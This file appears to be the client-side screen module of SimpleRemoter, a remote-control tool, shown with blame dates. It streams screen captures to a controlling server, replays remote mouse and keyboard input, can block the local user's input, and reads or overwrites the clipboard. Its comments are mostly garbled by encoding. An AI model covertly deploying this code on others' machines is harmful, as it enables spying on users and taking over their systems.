Files
SimpleRemoter/client/ScreenManager.cpp

346 lines
8.3 KiB
C++
Raw Normal View History

// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenManager.h"
#include "Common.h"
#include <IOSTREAM>
#if _MSC_VER <= 1200
#include <Winable.h>
#else
#include <WinUser.h>
#endif
2019-01-07 20:46:03 +08:00
#include <time.h>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
m_ScreenSpyObject = new CScreenSpy(16);
2019-09-07 10:47:50 +08:00
szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight()];
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
2019-01-10 19:35:03 +08:00
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
2019-01-07 20:46:03 +08:00
clock_t last = clock();
This->SendFirstScreen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
2019-01-20 20:04:11 +08:00
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
2019-01-07 20:46:03 +08:00
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
2019-09-07 10:47:50 +08:00
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
int s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
2019-05-11 11:28:58 +08:00
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
2019-09-07 10:47:50 +08:00
const double alpha = 1.2; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
timeBeginPeriod(1);
while (This->m_bIsWorking)
{
2019-01-07 20:46:03 +08:00
ULONG ulNextSendLength = 0;
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer)
{
2019-05-11 11:28:58 +08:00
int span = s0-(clock() - last);
2019-01-07 20:46:03 +08:00
Sleep(span > 0 ? span : 1);
2019-09-07 10:47:50 +08:00
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
2019-05-11 11:28:58 +08:00
{
c2 = 0;
2019-09-07 10:47:50 +08:00
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
2019-05-11 11:28:58 +08:00
c1 = 0;
#ifdef _DEBUG
2019-09-07 10:47:50 +08:00
printf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
2019-05-11 11:28:58 +08:00
#endif
}
2019-09-07 10:47:50 +08:00
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
2019-05-11 11:28:58 +08:00
c1 = 0;
2019-09-07 10:47:50 +08:00
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
2019-05-11 11:28:58 +08:00
c2 = 0;
#ifdef _DEBUG
2019-09-07 10:47:50 +08:00
printf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
2019-05-11 11:28:58 +08:00
#endif
}
}
2019-01-07 20:46:03 +08:00
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
}
timeEndPeriod(1);
2019-01-10 19:35:03 +08:00
cout<<"ScreenWorkThread Exit\n";
return 0;
}
VOID CScreenManager::SendBitMapInfo()
{
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С
2019-09-07 10:47:50 +08:00
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_BITMAPINFO;
//<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}
CScreenManager::~CScreenManager()
{
2019-01-10 19:35:03 +08:00
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
if (m_hWorkThread!=NULL)
{
CloseHandle(m_hWorkThread);
}
delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
if(szBuffer)
{
delete [] szBuffer;
szBuffer = NULL;
}
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
break;
}
case COMMAND_SCREEN_CONTROL:
{
BlockInput(false);
ProcessCommand(szBuffer + 1, ulLength - 1);
2019-01-10 19:35:03 +08:00
BlockInput(m_bIsBlockInput); //<2F>ٻָ<D9BB><D6B8><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
2019-01-10 19:35:03 +08:00
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>
BlockInput(m_bIsBlockInput);
break;
}
2019-01-10 19:35:03 +08:00
case COMMAND_SCREEN_GET_CLIPBOARD:
{
SendClientClipboard();
break;
}
case COMMAND_SCREEN_SET_CLIPBOARD:
{
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
break;
}
}
}
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
if (szClipboardVirtualAddress == NULL)
return;
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
SetClipboardData(CF_TEXT, hGlobal);
GlobalFree(hGlobal);
}
CloseClipboard();
}
VOID CScreenManager::SendClientClipboard()
{
if (!::OpenClipboard(NULL)) //<2F>򿪼<EFBFBD><F2BFAABC>а<EFBFBD><D0B0>
return;
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
if (hGlobal == NULL)
{
::CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
2019-01-10 19:35:03 +08:00
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
::GlobalUnlock(hGlobal);
::CloseClipboard();
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
VOID CScreenManager::SendFirstScreen()
{
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
2019-01-10 19:35:03 +08:00
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
if (FirstScreenData == NULL)
{
return;
}
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
szBuffer[ulFirstSendLength] = 0;
}
2019-01-07 20:46:03 +08:00
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
2019-01-07 20:46:03 +08:00
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
2019-01-07 20:46:03 +08:00
if (ulNextSendLength == 0 || NextScreenData == NULL)
{
return NULL;
}
ulNextSendLength += 1;
szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
szBuffer[ulNextSendLength] = 0;
2019-01-07 20:46:03 +08:00
return szBuffer;
}
2019-01-07 20:46:03 +08:00
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
if (ulLength % sizeof(MSG) != 0)
return;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ULONG ulMsgCount = ulLength / sizeof(MSG);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
2019-01-10 19:35:03 +08:00
for (int i = 0; i < ulMsgCount; ++i)
{
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
switch (Msg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
2019-09-07 10:47:50 +08:00
if(m_ScreenSpyObject->IsZoomed())
2019-01-10 19:35:03 +08:00
{
2019-09-07 10:47:50 +08:00
Point.x *= m_ScreenSpyObject->GetWZoom();
Point.y *= m_ScreenSpyObject->GetHZoom();
2019-01-10 19:35:03 +08:00
}
SetCursorPos(Point.x, Point.y);
2019-01-10 19:35:03 +08:00
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch(Msg->message) //<2F>˿ڷ<CBBF><DAB7>ӿ<EFBFBD><D3BF>ݷ<EFBFBD>
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
2019-01-10 19:35:03 +08:00
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
2019-01-10 19:35:03 +08:00
}
}